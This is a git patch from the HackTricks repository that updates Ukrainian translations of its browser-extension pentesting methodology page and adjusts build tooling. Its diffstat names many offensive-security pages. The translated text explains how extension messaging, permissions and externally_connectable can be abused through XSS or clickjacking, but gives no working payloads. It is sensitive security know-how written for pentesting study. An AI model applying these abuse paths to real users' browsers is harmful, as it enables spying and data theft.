From f8dfce0b6ac1a7a1356e79315ff86e07471a8344 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 03:46:34 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox --- .github/pull_request_template.md | 4 +- book.toml | 1 + hacktricks-preprocessor.py | 20 +- .../README.md | 74 +++--- .../browext-clickjacking.md | 12 +- ...rowext-permissions-and-host_permissions.md | 14 +- .../browext-xss-example.md | 10 +- src/pentesting-web/cache-deception/README.md | 46 ++-- .../cache-deception/cache-poisoning-to-dos.md | 8 +- .../cache-poisoning-via-url-discrepancies.md | 6 +- .../README.md | 60 +++-- ...ypass-self-+-unsafe-inline-with-iframes.md | 6 +- .../README.md | 34 +-- src/pentesting-web/deserialization/README.md | 72 +++--- ...er-gadgets-expandedwrapper-and-json.net.md | 2 +- ...ialization-objectinputstream-readobject.md | 2 +- .../exploiting-__viewstate-parameter.md | 4 +- ...ava-dns-deserialization-and-gadgetprobe.md | 14 +- ...ava-transformers-to-rutime-exec-payload.md | 12 +- ...g-and-directory-interface-and-log4shell.md | 46 ++-- .../README.md | 26 +-- .../client-side-prototype-pollution.md | 16 +- .../express-prototype-pollution-gadgets.md | 14 +- .../prototype-pollution-to-rce.md | 20 +- .../php-deserialization-+-autoload-classes.md | 6 +- .../python-yaml-deserialization.md | 4 +- .../deserialization/ruby-_json-pollution.md | 4 +- .../deserialization/ruby-class-pollution.md | 4 +- src/pentesting-web/file-inclusion/README.md | 60 ++--- ..._stream_prefer_studio-+-path-disclosure.md | 4 +- .../lfi2rce-via-eternal-waiting.md | 14 +- .../file-inclusion/lfi2rce-via-php-filters.md | 6 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 10 +- .../lfi2rce-via-segmentation-fault.md | 6 +- .../lfi2rce-via-temp-file-uploads.md | 8 +- .../file-inclusion/phar-deserialization.md | 6 +- .../via-php_session_upload_progress.md | 6 +- src/pentesting-web/file-upload/README.md | 26 +-- .../hacking-with-cookies/README.md | 30 +-- .../cookie-jar-overflow.md | 4 +- .../hacking-with-cookies/cookie-tossing.md | 6 +- .../http-connection-request-smuggling.md | 6 +- .../http-request-smuggling/README.md | 64 +++--- .../http-response-smuggling-desync.md | 40 ++-- src/pentesting-web/iframe-traps.md | 4 +- src/pentesting-web/ldap-injection.md | 6 +- src/pentesting-web/login-bypass/README.md | 10 +- src/pentesting-web/nosql-injection.md | 2 +- .../oauth-to-account-takeover.md | 20 +- src/pentesting-web/open-redirect.md | 2 +- src/pentesting-web/orm-injection.md | 12 +- src/pentesting-web/parameter-pollution.md | 18 +- .../pocs-and-polygloths-cheatsheet/README.md | 4 +- .../postmessage-vulnerabilities/README.md | 26 +-- ...blocking-main-page-to-steal-postmessage.md | 10 +- .../bypassing-sop-with-iframes-1.md | 4 +- .../bypassing-sop-with-iframes-2.md | 8 +- .../proxy-waf-protections-bypass.md | 28 +-- src/pentesting-web/race-condition.md | 44 ++-- src/pentesting-web/rate-limit-bypass.md | 4 +- .../registration-vulnerabilities.md | 32 +-- ...ular-expression-denial-of-service-redos.md | 4 +- src/pentesting-web/reset-password.md | 2 +- src/pentesting-web/reverse-tab-nabbing.md | 4 +- src/pentesting-web/saml-attacks/README.md | 28 +-- .../saml-attacks/saml-basics.md | 40 ++-- ...inclusion-edge-side-inclusion-injection.md | 38 ++-- src/pentesting-web/sql-injection/README.md | 50 ++-- .../sql-injection/ms-access-sql-injection.md | 20 +- .../sql-injection/mssql-injection.md | 10 +- .../sql-injection/mysql-injection/README.md | 4 +- .../mysql-injection/mysql-ssrf.md | 10 +- .../sql-injection/oracle-injection.md | 6 +- .../postgresql-injection/README.md | 12 +- ...and-ntlm-chanllenge-response-disclosure.md | 6 +- .../rce-with-postgresql-extensions.md | 12 +- .../rce-with-postgresql-languages.md | 4 +- src/pentesting-web/sql-injection/sqlmap.md | 80 +++---- .../sql-injection/sqlmap/README.md | 44 ++-- .../sqlmap/second-order-injection-sqlmap.md | 6 +- .../README.md | 28 +-- .../cloud-ssrf.md | 24 +- .../url-format-bypass.md | 6 +- .../README.md | 50 ++-- .../el-expression-language.md | 18 +- .../jinja2-ssti.md | 14 +- src/pentesting-web/timing-attacks.md | 6 +- .../unicode-injection/README.md | 4 +- .../unicode-normalization.md | 4 +- src/pentesting-web/uuid-insecurities.md | 10 +- src/pentesting-web/web-tool-wfuzz.md | 6 +- .../web-vulnerabilities-methodology.md | 24 +- .../web-vulnerabilities-methodology/README.md | 10 +- src/pentesting-web/websocket-attacks.md | 10 +- src/pentesting-web/xpath-injection.md | 8 +- src/pentesting-web/xs-search.md | 213 +++++------------- src/pentesting-web/xs-search/README.md | 154 ++++++------- .../xs-search/connection-pool-example.md | 4 +- .../cookie-bomb-+-onerror-xs-leak.md | 2 +- .../xs-search/css-injection/README.md | 56 ++--- .../event-loop-blocking-+-lazy-images.md | 4 +- .../xs-search/javascript-execution-xs-leak.md | 2 +- .../performance.now-+-force-heavy-task.md | 2 +- ...ble-stylesheet-language-transformations.md | 10 +- .../xss-cross-site-scripting/README.md | 80 +++---- .../abusing-service-workers.md | 6 +- .../chrome-cache-to-xss.md | 4 +- .../dom-clobbering.md | 20 +- .../xss-cross-site-scripting/dom-invader.md | 30 +-- .../xss-cross-site-scripting/dom-xss.md | 28 +-- .../iframes-in-xss-and-csp.md | 12 +- .../integer-overflow.md | 2 +- .../xss-cross-site-scripting/js-hoisting.md | 16 +- .../other-js-tricks.md | 6 +- .../server-side-xss-dynamic-pdf.md | 18 +- .../xss-cross-site-scripting/sniff-leak.md | 8 +- .../some-same-origin-method-execution.md | 2 +- .../xssi-cross-site-script-inclusion.md | 10 +- .../xxe-xee-xml-external-entity.md | 40 ++-- .../escaping-from-gui-applications/README.md | 16 +- .../firmware-analysis/README.md | 12 +- .../firmware-analysis/firmware-integrity.md | 2 +- src/physical-attacks/physical-attacks.md | 4 +- .../pentesting-ble-bluetooth-low-energy.md | 4 +- src/radio-hacking/pentesting-rfid.md | 24 +- .../arbitrary-write-2-exec/README.md | 2 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 8 +- .../aws2exec-.dtors-and-.fini_array.md | 6 +- .../README.md | 4 +- .../aslr/README.md | 28 +-- .../aslr/ret2plt.md | 8 +- .../no-exec-nx.md | 2 +- .../pie/README.md | 8 +- .../pie/bypassing-canary-and-pie.md | 6 +- .../relro.md | 10 +- .../stack-canaries/README.md | 4 +- .../bf-forked-stack-canaries.md | 10 +- .../stack-canaries/print-stack-canary.md | 2 +- .../common-exploiting-problems.md | 6 +- .../linux-exploiting-basic-esp/elf-tricks.md | 20 +- .../format-strings/README.md | 20 +- .../linux-exploiting-basic-esp/one-gadget.md | 8 +- .../stack-overflow/README.md | 6 +- .../stack-overflow/ret2csu.md | 14 +- .../stack-overflow/ret2dlresolve.md | 2 +- .../stack-overflow/ret2esp-ret2reg.md | 4 +- .../stack-overflow/ret2lib/README.md | 18 +- .../rop-leaking-libc-address/README.md | 22 +- .../rop-leaking-libc-template.md | 4 +- .../stack-overflow/ret2ret.md | 2 +- .../stack-overflow/ret2win.md | 8 +- .../rop-return-oriented-programing.md | 8 +- .../srop-sigreturn-oriented-programming.md | 2 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 12 +- .../stack-overflow/stack-shellcode.md | 8 +- src/reversing/common-api-used-in-malware.md | 10 +- .../cryptographic-algorithms/README.md | 18 +- .../unpacking-binaries.md | 2 +- .../reversing-tools-basic-methods/README.md | 36 +-- .../angr/README.md | 4 +- .../angr/angr-examples.md | 6 +- .../cheat-engine.md | 12 +- .../satisfiability-modulo-theories-smt-z3.md | 4 +- src/reversing/reversing-tools/README.md | 22 +- src/reversing/word-macros.md | 4 +- src/stego/stego-tricks.md | 8 +- src/todo/android-forensics.md | 8 +- src/todo/burp-suite.md | 4 +- src/todo/cookies-policy.md | 4 +- src/todo/hardware-hacking/README.md | 2 +- .../fault_injection_attacks.md | 4 +- src/todo/hardware-hacking/jtag.md | 4 +- src/todo/hardware-hacking/radio.md | 24 +- .../hardware-hacking/side_channel_analysis.md | 2 +- src/todo/hardware-hacking/spi.md | 18 +- src/todo/hardware-hacking/uart.md | 20 +- .../README.md | 2 +- .../modbus.md | 4 +- src/todo/interesting-http.md | 4 +- src/todo/investment-terms.md | 10 +- .../0.-basic-llm-concepts.md | 10 +- .../1.-tokenizing.md | 4 +- .../3.-token-embeddings.md | 8 +- .../4.-attention-mechanisms.md | 16 +- .../5.-llm-architecture.md | 30 +-- .../7.0.-lora-improvements-in-fine-tuning.md | 2 +- ...7.2.-fine-tuning-to-follow-instructions.md | 12 +- .../llm-training-data-preparation/README.md | 12 +- src/todo/misc.md | 2 +- src/todo/more-tools.md | 8 +- src/todo/online-platforms-with-api.md | 4 +- src/todo/other-web-tricks.md | 2 +- src/todo/post-exploitation.md | 6 +- .../radio-hacking/fissure-the-rf-framework.md | 36 +-- .../flipper-zero/fz-125khz-rfid.md | 6 +- .../radio-hacking/flipper-zero/fz-ibutton.md | 12 +- .../radio-hacking/flipper-zero/fz-infrared.md | 2 +- src/todo/radio-hacking/flipper-zero/fz-nfc.md | 8 +- .../radio-hacking/flipper-zero/fz-sub-ghz.md | 68 +++--- src/todo/radio-hacking/ibutton.md | 2 +- src/todo/radio-hacking/infrared.md | 4 +- .../pentesting-ble-bluetooth-low-energy.md | 12 +- src/todo/radio-hacking/pentesting-rfid.md | 20 +- src/todo/radio-hacking/proxmark-3.md | 6 +- src/todo/radio-hacking/sub-ghz-rf.md | 28 +-- src/todo/rust-basics.md | 8 +- ...itive-information-disclosure-from-a-web.md | 6 +- src/todo/test-llms.md | 4 +- src/welcome/hacktricks-values-and-faq.md | 20 +- .../active-directory-methodology/README.md | 120 +++++----- .../abusing-ad-mssql.md | 6 +- .../acl-persistence-abuse/README.md | 16 +- .../shadow-credentials.md | 2 +- .../ad-certificates.md | 12 +- .../ad-certificates/README.md | 6 +- .../ad-certificates/account-persistence.md | 4 +- .../ad-certificates/certificate-theft.md | 20 +- .../ad-certificates/domain-escalation.md | 64 +++--- .../ad-certificates/domain-persistence.md | 19 +- .../ad-dns-records.md | 2 +- .../asreproast.md | 4 +- .../bloodhound.md | 10 +- .../constrained-delegation.md | 2 +- .../custom-ssp.md | 2 +- .../active-directory-methodology/dcshadow.md | 10 +- .../active-directory-methodology/dcsync.md | 2 +- .../diamond-ticket.md | 2 +- .../dsrm-credentials.md | 2 +- ...external-forest-domain-one-way-outbound.md | 12 +- .../external-forest-domain-oneway-inbound.md | 6 +- .../golden-ticket.md | 8 +- .../kerberoast.md | 2 +- .../kerberos-double-hop-problem.md | 7 +- .../active-directory-methodology/laps.md | 8 +- .../password-spraying.md | 8 +- .../printers-spooler-service-abuse.md | 10 +- .../privileged-groups-and-token-privileges.md | 10 +- .../rdp-sessions-abuse.md | 2 +- .../resource-based-constrained-delegation.md | 36 +-- .../security-descriptors.md | 6 +- .../sid-history-injection.md | 6 +- .../silver-ticket.md | 18 +- .../skeleton-key.md | 2 +- .../unconstrained-delegation.md | 2 +- .../authentication-credentials-uac-and-efs.md | 14 +- .../README.md | 24 +- .../uac-user-account-control.md | 32 +-- src/windows-hardening/av-bypass.md | 57 ++--- .../basic-cmd-for-pentesters.md | 4 +- .../basic-powershell-for-pentesters/README.md | 12 +- .../powerview.md | 6 +- src/windows-hardening/cobalt-strike.md | 54 ++--- .../lateral-movement/atexec.md | 2 +- .../lateral-movement/dcom-exec.md | 6 +- .../lateral-movement/psexec-and-winexec.md | 2 +- .../lateral-movement/smbexec.md | 1 + .../lateral-movement/wmiexec.md | 2 +- src/windows-hardening/ntlm/README.md | 26 +-- src/windows-hardening/ntlm/atexec.md | 2 +- .../ntlm/places-to-steal-ntlm-creds.md | 2 +- .../ntlm/psexec-and-winexec.md | 10 +- src/windows-hardening/ntlm/smbexec.md | 2 +- src/windows-hardening/ntlm/wmiexec.md | 2 +- .../stealing-credentials/README.md | 24 +- .../credentials-mimikatz.md | 14 +- .../credentials-protections.md | 10 +- .../stealing-credentials/wts-impersonator.md | 4 +- .../README.md | 88 ++++---- .../access-tokens.md | 10 +- .../acls-dacls-sacls-aces.md | 42 ++-- ...ectory-permission-over-service-registry.md | 4 +- .../dll-hijacking.md | 20 +- .../dll-hijacking/README.md | 44 ++-- ...ritable-sys-path-+dll-hijacking-privesc.md | 20 +- .../dpapi-extracting-passwords.md | 2 +- .../integrity-levels.md | 8 +- .../juicypotato.md | 10 +- .../leaked-handle-exploitation.md | 20 +- .../privilege-escalation-abusing-tokens.md | 22 +- .../README.md | 22 +- ...vilege-escalation-with-autorun-binaries.md | 30 +-- .../roguepotato-and-printspoofer.md | 2 +- .../seimpersonate-from-high-to-system.md | 8 +- .../uac-user-account-control.md | 49 ++-- theme/book.js | 55 +++++ theme/css/chrome.css | 52 ++++- theme/index.hbs | 78 ++++--- theme/sponsor.js | 2 - 288 files changed, 2350 insertions(+), 2318 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index f394e970a..4b41558d0 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,6 +1,4 @@ -Ви можете видалити цей контент перед відправкою PR: - ## Attribution -Ми цінуємо ваші знання і заохочуємо вас ділитися контентом. Будь ласка, переконайтеся, що ви завантажуєте лише той контент, яким володієте, або на який у вас є дозвіл від оригінального автора (додавши посилання на автора в доданому тексті або в кінці сторінки, яку ви змінюєте, або в обох випадках). Ваша повага до прав інтелектуальної власності сприяє надійному та законному середовищу для обміну інформацією для всіх. +Ми цінуємо ваші знання і заохочуємо вас ділитися контентом. Будь ласка, переконайтеся, що ви завантажуєте лише той контент, яким володієте, або на який маєте дозвіл від оригінального автора (додавши посилання на автора в доданому тексті або в кінці сторінки, яку ви змінюєте, або в обох випадках). Ваша повага до прав інтелектуальної власності сприяє створенню надійного та легального середовища для обміну інформацією для всіх. Дякуємо за внесок у HackTricks! diff --git a/book.toml b/book.toml index 55f8eeb4f..3d588387c 100644 --- a/book.toml +++ b/book.toml @@ -22,6 +22,7 @@ after = ["links"] [preprocessor.hacktricks] command = "python3 ./hacktricks-preprocessor.py" +env = "prod" [output.html] additional-css = ["theme/pagetoc.css", "theme/tabs.css"] diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 37f549101..fedfdef99 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -30,14 +30,16 @@ def ref(matchobj): href = matchobj.groups(0)[0].strip() title = href if href.startswith("http://") or href.startswith("https://"): - # pass - try: - raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) - match = re.search('(.*?)', raw_html) - title = match.group(1) if match else href - except Exception as e: - logger.debug(f'Error opening URL {href}: {e}') - pass #nDont stop on broken link + if context['config']['preprocessor']['hacktricks']['env'] == 'dev': + pass + else: + try: + raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) + match = re.search('(.*?)', raw_html) + title = match.group(1) if match else href + except Exception as e: + logger.debug(f'Error opening URL {href}: {e}') + pass #nDont stop on broken link else: try: if href.endswith("/"): @@ -90,7 +92,7 @@ if __name__ == '__main__': context, book = json.load(sys.stdin) logger.debug(f"Context: {context}") - + logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}") for chapter in iterate_chapters(book['sections']): logger.debug(f"Chapter: {chapter['path']}") diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index 878dcd638..cc5c68e61 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -91,7 +91,7 @@ document.body.appendChild(div) ```
-Повідомлення надсилається на сторінки розширення скриптом контенту, коли натискається ця кнопка, за допомогою [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Це пов'язано з обмеженням скрипта контенту в прямому доступі до API, з `storage`, що є одним з небагатьох винятків. Для функціональностей, що виходять за межі цих винятків, повідомлення надсилаються на сторінки розширення, з якими можуть спілкуватися скрипти контенту. +Повідомлення надсилається на сторінки розширення скриптом контенту, коли ця кнопка натискається, через використання [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Це пов'язано з обмеженням скрипта контенту в прямому доступі до API, з `storage`, що є одним з небагатьох винятків. Для функціональностей, що виходять за межі цих винятків, повідомлення надсилаються на сторінки розширення, з якими можуть спілкуватися скрипти контенту. > [!WARNING] > Залежно від браузера, можливості скрипта контенту можуть трохи відрізнятися. Для браузерів на базі Chromium список можливостей доступний у [документації Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), а для Firefox [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) слугує основним джерелом.\ @@ -101,12 +101,12 @@ document.body.appendChild(div) Після відображення інструментів розробника потрібно натиснути на **Source tab**, а потім на **Content Scripts** tab. Це дозволяє спостерігати за запущеними скриптами контенту з різних розширень та встановлювати точки зупинки для відстеження потоку виконання. -### Впроваджені скрипти контенту +### Введені скрипти контенту > [!TIP] -> Зверніть увагу, що **скрипти контенту не є обов'язковими**, оскільки також можливо **динамічно** **впроваджувати** скрипти та **програмно впроваджувати їх** на веб-сторінках за допомогою **`tabs.executeScript`**. Це насправді забезпечує більше **докладних контролів**. +> Зверніть увагу, що **скрипти контенту не є обов'язковими**, оскільки також можливо **динамічно** **вводити** скрипти та **програмно їх вводити** на веб-сторінки через **`tabs.executeScript`**. Це насправді надає більше **докладних контролів**. -Для програмного впровадження скрипта контенту розширення повинно мати [дозволи хоста](https://developer.chrome.com/docs/extensions/reference/permissions) для сторінки, на яку потрібно впровадити скрипти. Ці дозволи можуть бути отримані або **запитуючи їх** у маніфесті розширення, або на тимчасовій основі через [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). +Для програмного введення скрипта контенту розширення повинно мати [дозволи хоста](https://developer.chrome.com/docs/extensions/reference/permissions) для сторінки, на яку скрипти будуть введені. Ці дозволи можуть бути отримані або **запитуючи їх** в маніфесті розширення, або на тимчасовій основі через [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab). #### Приклад розширення на основі activeTab ```json:manifest.json @@ -176,7 +176,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" }) Можливі значення: - **`document_idle`**: Коли це можливо -- **`document_start`**: Після будь-яких файлів з `css`, але до того, як буде побудовано будь-який інший DOM або виконано будь-який інший скрипт. +- **`document_start`**: Після будь-яких файлів з `css`, але до того, як буде побудовано будь-яке інше DOM або запущено будь-який інший скрипт. - **`document_end`**: Негайно після завершення DOM, але до того, як підресурси, такі як зображення та фрейми, завантажилися. #### Via `manifest.json` @@ -217,9 +217,9 @@ js: ["contentScript.js"], - **Автоматичне створення:** Якщо не визначено явно, браузер автоматично створить фонову сторінку. Ця автоматично згенерована сторінка міститиме всі фонові скрипти, зазначені в маніфесті розширення, забезпечуючи безперебійну роботу фонових завдань розширення. > [!TIP] -> Зручність, яку надає браузер, автоматично створюючи фонову сторінку (коли вона не оголошена явно), забезпечує інтеграцію та функціонування всіх необхідних фонових скриптів, спрощуючи процес налаштування розширення. +> Зручність, яку надає браузер, автоматично створюючи фонову сторінку (коли не оголошено явно), забезпечує інтеграцію та функціонування всіх необхідних фонових скриптів, спрощуючи процес налаштування розширення. -Приклад фонового скрипту: +Приклад фонового скрипта: ```js chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { if (request == "explain") { @@ -229,17 +229,17 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) ``` Він використовує [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) для прослуховування повідомлень. Коли отримується повідомлення `"explain"`, він використовує [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) для відкриття сторінки в новій вкладці. -Щоб налагодити фоновий скрипт, ви можете перейти до **деталей розширення та перевірити сервісний працівник,** це відкриє інструменти розробника з фоновим скриптом: +Щоб налагодити фоновий скрипт, ви можете перейти до **деталей розширення та перевірити сервісний робітник,** це відкриє інструменти розробника з фоновим скриптом:
-### Сторінки параметрів та інше +### Сторінки опцій та інше Розширення браузера можуть містити різні види сторінок: - **Сторінки дій** відображаються в **випадному меню, коли натискається іконка розширення.** - Сторінки, які розширення буде **завантажувати в новій вкладці.** -- **Сторінки параметрів**: Ця сторінка відображається поверх розширення при натисканні. У попередньому маніфесті в моєму випадку я зміг отримати доступ до цієї сторінки за адресою `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` або натиснувши: +- **Сторінки опцій**: Ця сторінка відображається поверх розширення, коли на неї натискають. У попередньому маніфесті в моєму випадку я зміг отримати доступ до цієї сторінки за адресою `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` або натиснувши:
@@ -250,9 +250,9 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) ### `permissions` & `host_permissions` -**`permissions`** та **`host_permissions`** є записами з `manifest.json`, які вказують **які дозволи** має розширення браузера (сховище, місцезнаходження...) і на **яких веб-сторінках**. +**`permissions`** та **`host_permissions`** є записами з `manifest.json`, які вказують **які дозволи** має розширення браузера (зберігання, місцезнаходження...) і на **яких веб-сторінках**. -Оскільки розширення браузера можуть бути настільки **привілейованими**, зловмисне або скомпрометоване може дозволити зловмиснику **різні способи викрадення чутливої інформації та шпигунства за користувачем**. +Оскільки розширення браузера можуть бути так **привілейованими**, зловмисне або скомпрометоване може дозволити зловмиснику **різні способи викрадення чутливої інформації та шпигунства за користувачем**. Перевірте, як ці налаштування працюють і як їх можна зловживати в: @@ -314,7 +314,7 @@ browext-clickjacking.md {{#endref}} > [!TIP] -> Дозволяючи завантажувати ці сторінки лише через розширення, а не через випадкові URL, можна запобігти атакам ClickJacking. +> Дозволяючи завантажувати ці сторінки лише розширенням, а не випадковими URL, можна запобігти атакам ClickJacking. > [!CAUTION] > Зверніть увагу, що сторінки з **`web_accessible_resources`** та інші сторінки розширення також можуть **контактувати з фоновими скриптами**. Тому, якщо одна з цих сторінок вразлива до **XSS**, це може відкрити більшу вразливість. @@ -340,15 +340,15 @@ browext-clickjacking.md > [!CAUTION] > Якщо веб-сторінка **вразлива до XSS або захоплення** вказана в **`externally_connectable`**, зловмисник зможе **надсилати повідомлення безпосередньо до фонового скрипта**, повністю обходячи Контентний скрипт і його CSP. > -> Тому це є **дуже потужним обходом**. +> Отже, це **дуже потужний обхід**. > -> Більше того, якщо клієнт встановить шкідливе розширення, навіть якщо йому не дозволено спілкуватися з вразливим розширенням, воно може впроваджувати **XSS дані на дозволеній веб-сторінці** або зловживати **`WebRequest`** або **`DeclarativeNetRequest`** API для маніпуляції запитами на цільовому домені, змінюючи запит сторінки на **файл JavaScript**. (Зверніть увагу, що CSP на цільовій сторінці може запобігти цим атакам). Ця ідея походить [**з цього опису**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). +> Більше того, якщо клієнт встановить шкідливе розширення, навіть якщо йому не дозволено спілкуватися з вразливим розширенням, воно може впроваджувати **XSS дані на дозволеній веб-сторінці** або зловживати **`WebRequest`** або **`DeclarativeNetRequest`** API для маніпуляції запитами на цільовому домені, змінюючи запит сторінки на **JavaScript файл**. (Зверніть увагу, що CSP на цільовій сторінці може запобігти цим атакам). Ця ідея походить [**з цього опису**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability). ## Підсумок комунікації ### Розширення <--> Веб-додаток -Для комунікації між контентним скриптом і веб-сторінкою зазвичай використовуються повідомлення. Тому в веб-додатку ви зазвичай знайдете виклики функції **`window.postMessage`** і в контентному скрипті слухачі, такі як **`window.addEventListener`**. Зверніть увагу, що розширення також може **спілкуватися з веб-додатком, надсилаючи Post Message** (і тому веб повинен це очікувати) або просто змусити веб завантажити новий скрипт. +Для комунікації між контентним скриптом і веб-сторінкою зазвичай використовуються повідомлення. Тому в веб-додатку ви зазвичай знайдете виклики до функції **`window.postMessage`** і в контентному скрипті слухачі, такі як **`window.addEventListener`**. Зверніть увагу, що розширення також може **спілкуватися з веб-додатком, надсилаючи Post Message** (і тому веб повинен це очікувати) або просто змусити веб завантажити новий скрипт. ### Всередині розширення @@ -411,9 +411,9 @@ console.log("Received " + response) } ) ``` -## Веб **↔︎** Комунікація скриптів контенту +## Веб **↔︎** Комунікація Скриптів Контенту -Середовища, в яких працюють **скрипти контенту**, і де існують хост-сторінки, **відокремлені** одне від одного, що забезпечує **ізоляцію**. Незважаючи на цю ізоляцію, обидві сторони мають можливість взаємодіяти з **Моделлю об'єктів документа (DOM)** сторінки, спільним ресурсом. Щоб хост-сторінка могла взаємодіяти з **скриптом контенту** або непрямо з розширенням через скрипт контенту, необхідно використовувати **DOM**, доступний обом сторонам, як канал комунікації. +Середовища, в яких працюють **скрипти контенту**, і де існують хост-сторінки, **відокремлені** одне від одного, що забезпечує **ізоляцію**. Незважаючи на цю ізоляцію, обидві сторони мають можливість взаємодіяти з **Моделлю Об'єктів Документа (DOM)** сторінки, спільним ресурсом. Щоб хост-сторінка могла взаємодіяти з **скриптом контенту** або непрямо з розширенням через скрипт контенту, необхідно використовувати **DOM**, доступний обом сторонам, як канал комунікації. ### Повідомлення ```javascript:content-script.js @@ -456,7 +456,7 @@ false - Контент-скрипт може очікувати повідомлення тільки якщо користувач виконує якусь дію - **origin domain**: може очікувати повідомлення тільки з дозволеного списку доменів. - Якщо використовується regex, будьте дуже обережні -- **Source**: `received_message.source !== window` може бути використано для перевірки, чи повідомлення було **з того ж вікна**, де слухає Контент-скрипт. +- **Source**: `received_message.source !== window` можна використовувати для перевірки, чи повідомлення було **з того ж вікна**, де слухає Контент-скрипт. Попередні перевірки, навіть якщо вони виконані, можуть бути вразливими, тому перевірте на наступній сторінці **потенційні обходи Post Message**: @@ -486,7 +486,7 @@ browext-xss-example.md Контент-скрипт може використовувати функції [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **або** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) для відправки **одноразового JSON-серіалізованого** повідомлення. -Щоб обробити **відповідь**, використовуйте повернутий **Promise**. Хоча, для зворотної сумісності, ви все ще можете передати **callback** як останній аргумент. +Для обробки **відповіді** використовуйте повернутий **Promise**. Хоча, для зворотної сумісності, ви все ще можете передати **callback** як останній аргумент. Відправка запиту з **контент-скрипта** виглядає так: ```javascript @@ -525,7 +525,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) Важливим моментом є те, що в ситуаціях, коли кілька сторінок налаштовані на отримання подій `onMessage`, **перша сторінка, яка виконає `sendResponse()`** для конкретної події, буде єдиною, яка зможе ефективно доставити відповідь. Будь-які подальші відповіді на ту ж подію не будуть враховані. -При створенні нових розширень перевага повинна надаватися промісам, а не зворотним викликам. Що стосується використання зворотних викликів, функція `sendResponse()` вважається дійсною лише в тому випадку, якщо вона виконується безпосередньо в синхронному контексті або якщо обробник події вказує на асинхронну операцію, повертаючи `true`. Якщо жоден з обробників не повертає `true` або якщо функція `sendResponse()` видаляється з пам'яті (збирається сміття), зворотний виклик, пов'язаний з функцією `sendMessage()`, буде викликаний за замовчуванням. +При створенні нових розширень слід віддавати перевагу промісам, а не зворотним викликам. Що стосується використання зворотних викликів, функція `sendResponse()` вважається дійсною лише в тому випадку, якщо вона виконується безпосередньо в синхронному контексті або якщо обробник події вказує на асинхронну операцію, повертаючи `true`. Якщо жоден з обробників не повертає `true` або якщо функція `sendResponse()` видаляється з пам'яті (збирається сміття), зворотний виклик, пов'язаний з функцією `sendMessage()`, буде викликаний за замовчуванням. ## Native Messaging @@ -541,7 +541,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) ``` Де `name` - це рядок, переданий до [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) або [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) для зв'язку з додатком з фонових скриптів розширення браузера. `path` - це шлях до бінарного файлу, є лише 1 дійсний `type`, який є stdio (використовуйте stdin і stdout), а `allowed_origins` вказує на розширення, які можуть отримати доступ до нього (і не можуть мати символи підстановки). -Chrome/Chromium буде шукати цей json у деяких реєстрах Windows та деяких шляхах у macOS і Linux (більше інформації в [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). +Chrome/Chromium буде шукати цей json у деяких реєстрах Windows і деяких шляхах у macOS і Linux (більше інформації в [**документації**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). > [!TIP] > Розширення браузера також потребує дозволу `nativeMessaing`, щоб мати можливість використовувати це спілкування. @@ -606,30 +606,30 @@ unzip -d "$extension_id-source" "$extension_id.zip" ### Використовуйте розширення CRX Viewer -Ще один зручний метод - це використання Chrome Extension Source Viewer, який є проектом з відкритим вихідним кодом. Його можна встановити з [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Вихідний код переглядача доступний у його [GitHub репозиторії](https://github.com/Rob--W/crxviewer). +Ще один зручний метод - це використання Chrome Extension Source Viewer, який є проектом з відкритим кодом. Його можна встановити з [Chrome Web 